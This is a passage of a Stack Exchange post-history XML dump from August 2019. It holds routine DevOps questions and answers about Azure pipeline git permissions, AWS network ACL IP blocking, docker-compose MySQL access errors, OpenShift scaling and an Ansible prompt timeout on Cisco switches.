unpackaged/approvalProcesses/Billing_Item__c.Billable_Item_Less_than_0.approvalProcess&#xD;&#xA;     ...&#xD;&#xA;     create mode 100644 unpackaged/workflows/Touchpoint__c.workflow&#xD;&#xA;     create mode 100644 unpackaged/workflows/User.workflow&#xD;&#xA;    Pushing now!!!&#xD;&#xA;    remote: 001f# service=git-receive-pack&#xD;&#xA;    remote: 0000000000aaTF401027: You need the Git 'GenericContribute' permission to perform this action. Details: identity 'Build\49a2cab3-a4ad-46c4-994c-35f429c806d2', scope 'repository'.&#xD;&#xA;    remote: TF401027: You need the Git 'GenericContribute' permission to perform this action. Details: identity 'Build\49a2cab3-a4ad-46c4-994c-35f429c806d2', scope 'repository'.&#xD;&#xA;    fatal: unable to access 'https://dev.azure.com/cooporg/test/_git/test/': The requested URL returned error: 403&#xD;&#xA;    ##[error]Bash exited with code '128'.&#xD;&#xA;    ##[section]Finishing: Bash&#xD;&#xA;&#xD;&#xA;I added the &quot;whoami&quot; command to confirm the running user and to our surprise it's running as &quot;vsts&quot;. We tried searching for this user to grant it the permissions needed, but we can't find it.&#xD;&#xA;&#xD;&#xA;Has anybody implemented something similar? How do we execute Git commands as a specific user within a Pipeline, so we can push the changes back to our branch?&#xD;&#xA;The ideal scenario would be committing these changes based on the user that manually ran the Pipeline.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/scripts/git-commands?view=azure-devops&amp;tabs=yaml&#xD;&#xA;  [2]: https://i.stack.imgur.com/v9TOU.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="26064" PostHistoryTypeId="1" PostId="8886" RevisionGUID="01b9737b-9722-47d8-9f87-b0d545913530" CreationDate="2019-08-13T14:16:43.607" UserId="16536" Text="Pushing code changes from Pipeline back to repo/branch, using Git!" ContentLicense="CC BY-SA 4.0" />
  <row Id="26065" PostHistoryTypeId="3" PostId="8886" RevisionGUID="01b9737b-9722-47d8-9f87-b0d545913530" CreationDate="2019-08-13T14:16:43.607" UserId="16536" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26070" PostHistoryTypeId="2" PostId="8888" RevisionGUID="b44b43ee-a2cd-459b-875d-b8dbc0fbe55f" CreationDate="2019-08-13T15:58:11.973" UserId="16536" Text="Found the issue... &#xD;&#xA;&#xD;&#xA;The documentation states that the &quot;contribute&quot; permission needs to be added to &quot;Project Collection Build Service Accounts&quot;.&#xD;&#xA;There is also an USER called &quot;&quot;Project Collection Build Service&quot;. &#xD;&#xA;After explicitly adding the &quot;Project Collection Build Service&quot; user to be able to contribute it worked as expected!&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26071" PostHistoryTypeId="50" PostId="5184" RevisionGUID="09a946f3-ebc7-4712-827f-5e47b682e639" CreationDate="2019-08-13T18:02:25.300" UserId="-1" />
  <row Id="26072" PostHistoryTypeId="50" PostId="5460" RevisionGUID="4acdcb0a-ddec-49f5-bb76-6a80c1e3ff67" CreationDate="2019-08-13T19:03:00.340" UserId="-1" />
  <row Id="26073" PostHistoryTypeId="50" PostId="6629" RevisionGUID="c1fad038-de11-4365-98ae-4114fb103afd" CreationDate="2019-08-13T22:02:15.290" UserId="-1" />
  <row Id="26074" PostHistoryTypeId="50" PostId="5197" RevisionGUID="7346befe-7fa8-4b80-9fc6-50810f8e9f84" CreationDate="2019-08-14T00:02:10.240" UserId="-1" />
  <row Id="26078" PostHistoryTypeId="50" PostId="4386" RevisionGUID="937770c1-7a0c-4032-8f85-06bb6b8adcc1" CreationDate="2019-08-14T01:01:20.133" UserId="-1" />
  <row Id="26079" PostHistoryTypeId="5" PostId="6102" RevisionGUID="daf68908-9df3-470a-be25-7d4576d04e10" CreationDate="2019-08-14T09:35:40.757" UserId="16554" Comment="Adding CLI version" Text="Yes, we can block traffic from single IP or IP range. Please follow below steps to do this&#xD;&#xA;&#xD;&#xA;&gt;Open **VPC** dashboard&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&gt;Open the **Network ACLs** view&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&gt;Open the ACL editor&#xD;&#xA;&#xD;&#xA;1. Select the subnet to which your EC2 instances or load balancers are connected.&#xD;&#xA;&#xD;&#xA;2. Click **Inbound Rules**&#xD;&#xA;&#xD;&#xA;3. Click **Edit**&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&gt;Add a rule to block the traffic/IP&#xD;&#xA;&#xD;&#xA;You will now see the ACL editor. On the last row, you can add a new rule.&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;Here is how you should fill out the fields:&#xD;&#xA;&#xD;&#xA;#Rule&#xD;&#xA;Use any number less than 100, which is the number of the default accept-all rule. This is important because rules are evaluated in order, and your rule needs to come before the default.&#xD;&#xA;&#xD;&#xA;#Type&#xD;&#xA;Select “All traffic” or Particular Protocol which you want to Block&#xD;&#xA;&#xD;&#xA;#Source&#xD;&#xA;The CIDR you want to block. To match a single IP address, enter it here and append /32. For example, I blocked `22.87.45.187/32`&#xD;&#xA;&#xD;&#xA;#Allow/Deny&#xD;&#xA;Select “DENY”&#xD;&#xA;&#xD;&#xA;Now **click Save** and you should see the updated rules table.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/4FQ46.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/AIfeO.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/n81I6.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kF4qy.png&#xD;&#xA;&#xD;&#xA;Fore more details visit https://www.serverkaka.com/2018/05/block-traffic-from-single-ip-in-aws.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### UPDATE: How to do it in CLI&#xD;&#xA;&gt; NOTE: This example command includes `--dry-run` option, so it is safe to run. It will not create _NACL_ rule. Run it without this option, if you want to apply it.&#xD;&#xA;```&#xD;&#xA;aws ec2 create-network-acl-entry --dry-run --network-acl-id acl-146adb6f --ingress --rule-number 20 --protocol tcp --port-range From=80,To=80 --cidr-block 22.87.45.187/32 --rule-action deny&#xD;&#xA;```&#xD;&#xA;More examples:&#xD;&#xA;https://docs.aws.amazon.com/cli/latest/reference/ec2/create-network-acl-entry.html#examples" ContentLicense="CC BY-SA 4.0" />
  <row Id="26080" PostHistoryTypeId="24" PostId="6102" RevisionGUID="daf68908-9df3-470a-be25-7d4576d04e10" CreationDate="2019-08-14T09:35:40.757" Comment="Proposed by 16554 approved by 11598 edit id of 1051" ContentLicense="CC BY-SA 4.0" />
  <row Id="26081" PostHistoryTypeId="2" PostId="8890" RevisionGUID="8e80a1a4-f222-4890-bac7-2b4f5c181fe8" CreationDate="2019-08-14T09:44:07.663" UserId="15411" Text="In configuration settings of Docker plugin for Jenkins, there were missing mountings for the volumes, because I was deploying docker images within docker slave container, so that the &quot;master&quot; docker container (with Jenkins slave agent) couldn't access the real files from the host machine." ContentLicense="CC BY-SA 4.0" />
  <row Id="26082" PostHistoryTypeId="50" PostId="4332" RevisionGUID="07208317-3d4f-407c-a9c3-14b6030d263b" CreationDate="2019-08-14T10:02:30.317" UserId="-1" />
  <row Id="26088" PostHistoryTypeId="2" PostId="8892" RevisionGUID="6f1387ac-f68d-41b6-a813-72f9c67248b2" CreationDate="2019-08-14T10:54:53.260" UserId="16559" Text="Take a look at https://pkhub.io its a cloud secrets manager that's easy to setup and use, see https://pkhub.io/usecases/environments, for a python example." ContentLicense="CC BY-SA 4.0" />
  <row Id="26089" PostHistoryTypeId="50" PostId="4987" RevisionGUID="586a4d9d-2c1e-4aa4-936e-678d960f6e02" CreationDate="2019-08-14T11:02:10.323" UserId="-1" />
  <row Id="26090" PostHistoryTypeId="2" PostId="8893" RevisionGUID="4a5abf29-eb9c-4731-a59c-21607b9ac2aa" CreationDate="2019-08-14T11:04:18.703" UserId="16559" Text="check out https://direnv.net/ it sets environment variables based on the directory you are in.&#xA;&#xA;other options are:&#xA;1.docker-compose&#xA;2.plain bash to set the variables.&#xA;3. bash source .env&#xA;4. use prefixes but you would still need to set the environment you are in via an environment variable, so back to options 1-3.&#xA;&#xA;if you are going to store passwords or keys in the env variables locally that are sensitive i.e not a localhost db pass, use a secrets manager like https://pkhub.io/usecases/environments, or you could script up something with aws' secrets manager" ContentLicense="CC BY-SA 4.0" />
  <row Id="26091" PostHistoryTypeId="2" PostId="8894" RevisionGUID="8543adbe-fa01-47e6-9362-8678a7d7a001" CreationDate="2019-08-14T11:29:42.877" UserId="16505" Text="I have web-app with PHP and database in docker-compose file:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        driver: bridge&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;      yii2-app:&#xD;&#xA;        build:&#xD;&#xA;          context: ./web&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;80:80&quot;&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        depends_on:&#xD;&#xA;          - yii2-db&#xD;&#xA;          - queue&#xD;&#xA;        environment:&#xD;&#xA;          DB_NAME: ${WEB_DB_NAME}&#xD;&#xA;          DB_USERNAME: ${WEB_DB_USERNAME}&#xD;&#xA;          DB_PASSWORD: ${WEB_DB_PASSWORD}&#xD;&#xA;&#xD;&#xA;      yii2-db:&#xD;&#xA;        image: mysql:5.7.16&#xD;&#xA;        command: --default-authentication-plugin=mysql_native_password&#xD;&#xA;        networks:&#xD;&#xA;          - default&#xD;&#xA;        expose:&#xD;&#xA;          - &quot;3306&quot;&#xD;&#xA;        environment:&#xD;&#xA;          MYSQL_ROOT_PASSWORD: ${WEB_DB_PASSWORD}&#xD;&#xA;          MYSQL_DATABASE: ${WEB_DB_NAME}&#xD;&#xA;        volumes:&#xD;&#xA;          - &quot;./web/db:/var/lib/mysql&quot;&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;When I start services via `docker-compose up` my PHP-app makes db migrations. But error is occured in database connection &#xD;&#xA;&#xD;&#xA;    Exception 'yii\db\Exception' with message 'SQLSTATE[HY000] [1045] Access denied for user 'root'@'172.21.0.8' (using password: YES)'&#xD;&#xA;&#xD;&#xA;It's strage, because in my PHP-app I use name of db service `yii2-db` and docker by himself define correct IP.&#xD;&#xA;&#xD;&#xA;I connect to my PHP-app container via &#xD;&#xA;&#xD;&#xA;    docker exec -it passportrecognition_yii2-app_1 bash&#xD;&#xA;&#xD;&#xA;and check mysql connection via mysql-client&#xD;&#xA;&#xD;&#xA;    mysql -h yii2-db -u root -p&#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'172.21.0.8' (using password: YES)&#xD;&#xA;&#xD;&#xA;But `172.21.0.8` is not IP of my db, it's IP of my PHP-app. That is PHP-app make db-connect to himself.&#xD;&#xA;&#xD;&#xA;Database IP is `172.21.0.4`. It proves `ping` command:&#xD;&#xA;&#xD;&#xA;    ping yii2-db&#xD;&#xA;    PING yii2-db (172.21.0.4): 56 data bytes&#xD;&#xA;    64 bytes from 172.21.0.4: seq=0 ttl=64 time=0.145 ms&#xD;&#xA;&#xD;&#xA;And another strage moment: when I connect directly on database IP `172.21.0.4`, connect goes again on `172.21.0.4`:&#xD;&#xA;&#xD;&#xA;    bash-4.4# mysql -h 172.21.0.4 -u root -p&#xD;&#xA;    Enter password: &#xD;&#xA;    ERROR 1045 (28000): Access denied for user 'root'@'172.21.0.8' (using password: YES)&#xD;&#xA;&#xD;&#xA;Why can't I connect to my database? Why is docker define invalid IP of db service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26092" PostHistoryTypeId="1" PostId="8894" RevisionGUID="8543adbe-fa01-47e6-9362-8678a7d7a001" CreationDate="2019-08-14T11:29:42.877" UserId="16505" Text="Why docker define invalid IP address of service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26093" PostHistoryTypeId="3" PostId="8894" RevisionGUID="8543adbe-fa01-47e6-9362-8678a7d7a001" CreationDate="2019-08-14T11:29:42.877" UserId="16505" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26097" PostHistoryTypeId="2" PostId="8896" RevisionGUID="76da95c1-8af2-4176-9bda-5e2a709dbd20" CreationDate="2019-08-14T12:12:36.870" UserId="16505" Text="Ok, I found reason of this, it's my fault.&#xD;&#xA;&#xD;&#xA;I make test starts services with other env variables for db. And after that down services, changed db name, username, password and start services again. &#xD;&#xA;&#xD;&#xA;BUT I forget that db folder `/var/lib/mysql` is my volume, and it remembered my previous data; everything is mixed up. So it's not problem in network, it's mix data in mysql (different passwords for the same user)." ContentLicense="CC BY-SA 4.0" />
  <row Id="26105" PostHistoryTypeId="6" PostId="8844" RevisionGUID="df258ba8-b480-49b3-ab45-92d0c591dadd" CreationDate="2019-08-14T15:08:25.043" UserId="739" Comment="really about IAM, not S3" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26106" PostHistoryTypeId="2" PostId="8899" RevisionGUID="a69c2049-1290-4376-9a17-2c5abcc52f1e" CreationDate="2019-08-14T15:21:33.807" UserId="12286" Text="I need suggestion for Jenkins project (multi-conf or pipeline) and plugins that will fit my work.&#xD;&#xA;&#xD;&#xA;I have 10 &quot;flavors&quot; of the product, so I must build 10 times every time I commit to the repository (all in the same workspace).&#xD;&#xA;Today I have 10 jobs (freestyle) and a &quot;master&quot; job that trigger the rest.&#xD;&#xA;I tried to add Email notification but I want only one Email report for all the builds, not 10 Emails.&#xD;&#xA;&#xD;&#xA;I understand that I should change to one multi-configuration project or one pipeline project that will handle all the builds, so it will be easier to trigger only one Email, but what is the best practice to get only one Email report on multiple builds?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26107" PostHistoryTypeId="1" PostId="8899" RevisionGUID="a69c2049-1290-4376-9a17-2c5abcc52f1e" CreationDate="2019-08-14T15:21:33.807" UserId="12286" Text="Jenkins Email notification for multiple builds" ContentLicense="CC BY-SA 4.0" />
  <row Id="26108" PostHistoryTypeId="3" PostId="8899" RevisionGUID="a69c2049-1290-4376-9a17-2c5abcc52f1e" CreationDate="2019-08-14T15:21:33.807" UserId="12286" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26112" PostHistoryTypeId="2" PostId="8901" RevisionGUID="efb52843-a0b1-4be8-b266-ab6a3d81fc83" CreationDate="2019-08-14T17:35:41.313" UserId="16571" Text="I am new to Openshift , and want know how to change the number of pods of  specific deployment from `oc` command line.&#xD;&#xA;&#xD;&#xA;I tried to do:&#xD;&#xA;&#xD;&#xA;oc scale dc name_of_deployment--replicas=2&#xD;&#xA;&#xD;&#xA; Error from server (NotFound): deploymentconfigs.apps.openshift.io &quot;name_of_deployment&quot; not found" ContentLicense="CC BY-SA 4.0" />
  <row Id="26113" PostHistoryTypeId="1" PostId="8901" RevisionGUID="efb52843-a0b1-4be8-b266-ab6a3d81fc83" CreationDate="2019-08-14T17:35:41.313" UserId="16571" Text="Scale number of pods in OpenShift from oc command line" ContentLicense="CC BY-SA 4.0" />
  <row Id="26114" PostHistoryTypeId="3" PostId="8901" RevisionGUID="efb52843-a0b1-4be8-b266-ab6a3d81fc83" CreationDate="2019-08-14T17:35:41.313" UserId="16571" Text="&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26118" PostHistoryTypeId="5" PostId="8901" RevisionGUID="6c810ee1-006d-4930-b438-2a71a45f0be9" CreationDate="2019-08-14T17:58:15.713" UserId="16571" Comment="added 225 characters in body" Text="I am new to Openshift , and want know how to change the number of pods of  specific deployment from `oc` command line.&#xD;&#xA;&#xD;&#xA;I tried to do:&#xD;&#xA;&#xD;&#xA;oc scale dc name_of_deployment--replicas=2&#xD;&#xA;&#xD;&#xA; Error from server (NotFound): deploymentconfigs.apps.openshift.io &quot;name_of_deployment&quot; not found&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My deployments were installed with helm, if i do&#xD;&#xA;&#xD;&#xA;    oc  get dc&#xD;&#xA;&#xD;&#xA;I am getting some other deployment but not the one that I want to scale.&#xD;&#xA;&#xD;&#xA;Note: The deployment that I want to delete is running without any issue. " ContentLicense="CC BY-SA 4.0" />
  <row Id="26122" PostHistoryTypeId="2" PostId="8904" RevisionGUID="081bf939-cabe-4ff0-8744-64e481de38d6" CreationDate="2019-08-14T18:15:47.467" UserId="16571" Text="found the issue,  instead of 'dc' need to use 'deploy'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    oc scale deploy name_of_deployment--replicas=2&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26124" PostHistoryTypeId="50" PostId="8553" RevisionGUID="3dfae522-65d9-4cf8-ab82-c09eeec2c4d2" CreationDate="2019-08-14T20:02:40.420" UserId="-1" />
  <row Id="26125" PostHistoryTypeId="2" PostId="8905" RevisionGUID="6a03cf6f-9515-4313-bc0d-5c0c08dc2c07" CreationDate="2019-08-14T21:21:28.457" UserId="16451" Text="Does `AWS S3` provide a way to make bucket's files available over `HTTP` preferably protected with `BASIC_AUTH`? I mean listing the files (index) and make it possible to download them over `HTTP`." ContentLicense="CC BY-SA 4.0" />
  <row Id="26126" PostHistoryTypeId="1" PostId="8905" RevisionGUID="6a03cf6f-9515-4313-bc0d-5c0c08dc2c07" CreationDate="2019-08-14T21:21:28.457" UserId="16451" Text="How to make an AWS S3 bucket accessible over HTTP?" ContentLicense="CC BY-SA 4.0" />
  <row Id="26127" PostHistoryTypeId="3" PostId="8905" RevisionGUID="6a03cf6f-9515-4313-bc0d-5c0c08dc2c07" CreationDate="2019-08-14T21:21:28.457" UserId="16451" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;http&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26128" PostHistoryTypeId="50" PostId="3081" RevisionGUID="90cea586-1597-4f4f-925e-0049f4817944" CreationDate="2019-08-14T22:03:10.483" UserId="-1" />
  <row Id="26129" PostHistoryTypeId="2" PostId="8906" RevisionGUID="fd53155a-ca0e-44f3-a509-4edc3a6ab1ae" CreationDate="2019-08-14T23:15:28.320" UserId="16576" Text="I'm new to the Ansible world, so I'll do my best to explain everything. If I leave something out or need to clarify, just let me know.&#xD;&#xA;&#xD;&#xA;So, I've been working on upgrades for various Cisco switches/routers, and the 3850s running IOS-XE 16.x are causing me a slight issue. Basically, I want to run the command ````request platform software package clean switch all file flash:```` which will result in a prompt that says ````Do you want to proceed? [y/n]```` to which you simply enter &quot;y&quot; without the need for a CR.&#xD;&#xA;&#xD;&#xA;It's important to note that if you were just copying/pasting configuration from a txt file, you could not paste in the 'y' and you would manually need to enter it in. Doing so prevents the prompt from appearing (you can interact with the console while you wait 15-45 seconds for the output).&#xD;&#xA;&#xD;&#xA;My Ansible code is waiting for the prompt, but when I run in -vvvv I do not see the output of the command and it ultimately times out. If I change the prompt to &#xD;&#xA;[confirm]' and the response to &quot;\r&quot; I do see the output, but the cleanup is not taken (I can confirm because there would be more output and I can manually check after the fact).&#xD;&#xA;&#xD;&#xA;I thought the prompt parameter would wait until the prompt occurs, but I'm guessing not? How does this actually work? It has not been a problem before because the prompts are generally instant. In this case, there's a delay every time.&#xD;&#xA;&#xD;&#xA;Here's my code:&#xD;&#xA;&#xD;&#xA;````- name: CLEAN UP OLD SOFTWARE&#xD;&#xA;  ios_command:&#xD;&#xA;    commands:&#xD;&#xA;      - command: &quot;request platform software package clean switch all file flash:&quot;&#xD;&#xA;        prompt: 'Do you want to proceed? \[y/n\]'&#xD;&#xA;        answer: &quot;y&quot;&#xD;&#xA;  vars:&#xD;&#xA;    ansible_command_timeout: 90&#xD;&#xA;  when: compliant_ios_version == ansible_net_version````&#xD;&#xA;&#xD;&#xA;But this just does not work:&#xD;&#xA;&#xD;&#xA;````WARNING: The below traceback may *not* be related to the actual failure.&#xD;&#xA;  File &quot;/tmp/ansible_ios_command_payload_XyRXx3/ansible_ios_command_payload.zip/ansible/module_utils/network/ios/ios.py&quot;, line 145, in run_commands&#xD;&#xA;    return connection.run_commands(commands=commands, check_rc=check_rc)&#xD;&#xA;  File &quot;/tmp/ansible_ios_command_payload_XyRXx3/ansible_ios_command_payload.zip/ansible/module_utils/connection.py&quot;, line 182, in __rpc__&#xD;&#xA;    raise ConnectionError(to_text(msg, errors='surrogate_then_replace'), code=code)&#xD;&#xA;fatal: [SWITCH1]: FAILED! =&gt; {&#xD;&#xA;    &quot;changed&quot;: false, &#xD;&#xA;    &quot;invocation&quot;: {&#xD;&#xA;        &quot;module_args&quot;: {&#xD;&#xA;            &quot;auth_pass&quot;: null, &#xD;&#xA;            &quot;authorize&quot;: null, &#xD;&#xA;            &quot;commands&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;answer&quot;: &quot;y&quot;, &#xD;&#xA;                    &quot;command&quot;: &quot;request platform software package clean switch all file flash:&quot;, &#xD;&#xA;                    &quot;prompt&quot;: &quot;Do you want to proceed? \\[y/n\\]&quot;&#xD;&#xA;                }&#xD;&#xA;            ], &#xD;&#xA;            &quot;host&quot;: null, &#xD;&#xA;            &quot;interval&quot;: 1, &#xD;&#xA;            &quot;match&quot;: &quot;all&quot;, &#xD;&#xA;            &quot;password&quot;: null, &#xD;&#xA;            &quot;port&quot;: null, &#xD;&#xA;            &quot;provider&quot;: null, &#xD;&#xA;            &quot;retries&quot;: 10, &#xD;&#xA;            &quot;ssh_keyfile&quot;: null, &#xD;&#xA;            &quot;timeout&quot;: null, &#xD;&#xA;            &quot;username&quot;: null, &#xD;&#xA;            &quot;wait_for&quot;: null&#xD;&#xA;        }&#xD;&#xA;    }, &#xD;&#xA;    &quot;msg&quot;: &quot;command timeout triggered, timeout value is 40 secs.\nSee the timeout setting options in the Network Debug and Troubleshooting Guide.&quot;&#xD;&#xA;}&#xD;&#xA;        to retry, use: --limit @/opt/ansible/Test_Clean.retry&#xD;&#xA;&#xD;&#xA;PLAY RECAP *************************************************************************************************************************&#xD;&#xA;SWITCH1                   : ok=0    changed=0    unreachable=0    failed=1   &#xD;&#xA;&#xD;&#xA;Playbook run took 0 days, 0 hours, 0 minutes, 92 seconds````&#xD;&#xA;&#xD;&#xA;Here's what would be displayed on the switch console:&#xD;&#xA;&#xD;&#xA;````SWITCH1# request platform software package clean switch all file flash: &#xD;&#xA;This operation may take several minutes...&#xD;&#xA;Running command on switch 1&#xD;&#xA;Cleaning up unnecessary package files&#xD;&#xA;  Scanning boot directory for packages ... done.&#xD;&#xA;  Preparing packages list to delete ... &#xD;&#xA;    packages.conf&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-guestshell.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-rpbase.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-rpcore.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-srdriver.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-webui.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;  done.&#xD;&#xA;  &#xD;&#xA;Running command on switch 2&#xD;&#xA;Cleaning up unnecessary package files&#xD;&#xA;  Scanning boot directory for packages ... done.&#xD;&#xA;  Preparing packages list to delete ... &#xD;&#xA;    cat3k_caa-rpbase.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    packages.conf&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-guestshell.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-rpcore.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-srdriver.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;    cat3k_caa-webui.16.06.06.SPA.pkg&#xD;&#xA;      File is in use, will not delete.&#xD;&#xA;  done.&#xD;&#xA;  &#xD;&#xA;The following files will be deleted:&#xD;&#xA;[switch 1]:&#xD;&#xA;/flash/cat3k_caa-guestshell.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-rpbase.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-rpcore.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-srdriver.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-universalk9.16.06.06.SPA.conf&#xD;&#xA;/flash/cat3k_caa-webui.16.06.05.SPA.pkg&#xD;&#xA;/flash/packages.conf.00-&#xD;&#xA;[switch 2]:&#xD;&#xA;/flash/cat3k_caa-guestshell.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-rpbase.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-rpcore.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-srdriver.16.06.05.SPA.pkg&#xD;&#xA;/flash/cat3k_caa-universalk9.16.06.06.SPA.conf&#xD;&#xA;/flash/cat3k_caa-webui.16.06.05.SPA.pkg&#xD;&#xA;/flash/packages.conf.00-&#xD;&#xA;&#xD;&#xA;Do you want to proceed? [y/n]````&#xD;&#xA;&#xD;&#xA;I've searched around a lot and tried everything I could think of. I have not seen anyone come across this specific issue yet. Any ideas?&#xD;&#xA;&#xD;&#xA;I'd appreciate any help. I'm pretty much dead in the water at this point." ContentLicense="CC BY-SA 4.0" />
  <row Id="26130" PostHistoryTypeId="1" PostId="8906" RevisionGUID="fd53155a-ca0e-44f3-a509-4edc3a6ab1ae" CreationDate="2019-08-14T23:15:28.320" UserId="16576" Text="IOS_Command Module - Delayed Prompt" ContentLicense="CC BY-SA 4.0" />
  <row Id="26131" PostHistoryTypeId="3" PostId="8906" RevisionGUID="fd53155a-ca0e-44f3-a509-4edc3a6ab1ae" CreationDate="2019-08-14T23:15:28.320" UserId="16576" Text="&lt;ansible&gt;&lt;networking&gt;&lt;ios&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="26132" PostHistoryTypeId="5" PostId="8906" RevisionGUID="319efc21-8f64-4b3e-8488-f38fc1413759" CreationDate="2019-08-14T23:24:00.863" UserId="16576" Comment="added 2 characters in body" Text="I'm new to the Ansible world, so I'll do my best to explain everything. If I leave something out or need to clarify, just let me know.&#xD;&#xA;&#xD;&#xA;So, I've been working on upgrades for various Cisco switches/routers, and the 3850s running IOS-XE 16.x are causing me a slight issue. Basically, I want to run the command ````request platform software package clean switch all file flash:```` which will result in a prompt that says ````Do you want to proceed? [y/n]```` to which you simply enter &quot;y&quot; without the need for a CR.&#xD;&#xA;&#xD;&#xA;It's important to note that if you were just copying/pasting configuration from a txt file, you could not paste in the &quot;y&quot; and you would manually need to enter it in. Doing so prevents the prompt from appearing (you can interact with the console while you wait 15-45 seconds for the output).&#xD;&#xA;&#xD;&#xA;My Ansible code is waiting for the prompt, but when I run in -vvvv I do not see the output of the command and it ultimately times out. If I change the prompt to &#xD;&#xA;'[confirm]' and the response to &quot;\r&quot; I do see the output, but the cleanup is not taken (I can confirm because there would be more output and I can manually check after the fact).&#xD;&#xA;&#xD;&#xA;I thought the prompt parameter would wait until the prompt occurs, but I'm guessing not? How does this actually work? It has not been a problem before because the prompts are generally instant. In this case, there's a delay every time.&#xD;&#xA;&#xD;&#xA;Here's my code:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;- name: CLEAN UP OLD SOFTWARE&#xD;&#xA;  ios_command:&#xD;&#xA;    commands:&#xD;&#xA;      - command: &quot;request platform software package clean switch all file flash:&quot;&#xD;&#xA;        prompt: Do you want to proceed? \[y/n\]&#xD;&#xA;        answer: &quot;y&quot;&#xD;&#xA;  vars:&#xD;&#xA;    ansible_command_timeout: 90&#xD;&#xA;  when: compliant_ios_version == ansible_net_version&#xD;&#xA;````&#xD;&#xA;&#xD;&#xA;This is the result:&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;WARNING: The below traceback may *not* be related to the actual failure.&#xD;&#xA;  File &quot;/tmp/ansible_ios_command_payload_XyRXx3/ansible_ios_command_payload.zip/ansible/module_utils/network/ios/ios.py&quot;, line 145, in run_commands&#xD;&#xA;    return connection.run_commands(commands=commands, check_rc=check_rc)&#xD;&#xA;  File &quot;/tmp/ansible_ios_command_payload_XyRXx3/ansible_ios_command_payload.zip/ansible/module_utils/connection.py&quot;, line 182, in __rpc__&#xD;&#xA;    raise ConnectionError(to_text(msg, errors='surrogate_then_replace'), code=code)&#xD;&#xA;fatal: [SWITCH1]: FAILED! =&gt; {&#xD;&#xA;    &quot;changed&quot;: false, &#xD;&#xA;    &quot;invocation&quot;: {&#xD;&#xA;        &quot;module_args&quot;: {&#xD;&#xA;            &quot;auth_pass&quot;: null, &#xD;&#xA;            &quot;authorize&quot;: null, &#xD;&#xA;            &quot;commands&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;answer&quot;: &quot;y&quot;, &#xD;&#xA;                    &quot;command&quot;: &quot;request platform software package clean switch all file flash:&quot;, &#xD;&#xA;                    &quot;prompt&quot;: &quot;Do you want to proceed? \\[y/n\\]&quot;&#xD;&#xA;                }&#xD;&#xA;            ], &#xD;&#xA;            &quot;host&quot;: null, &#xD;&#xA;            &quot;interval&quot;: 1, &#xD;&#xA;            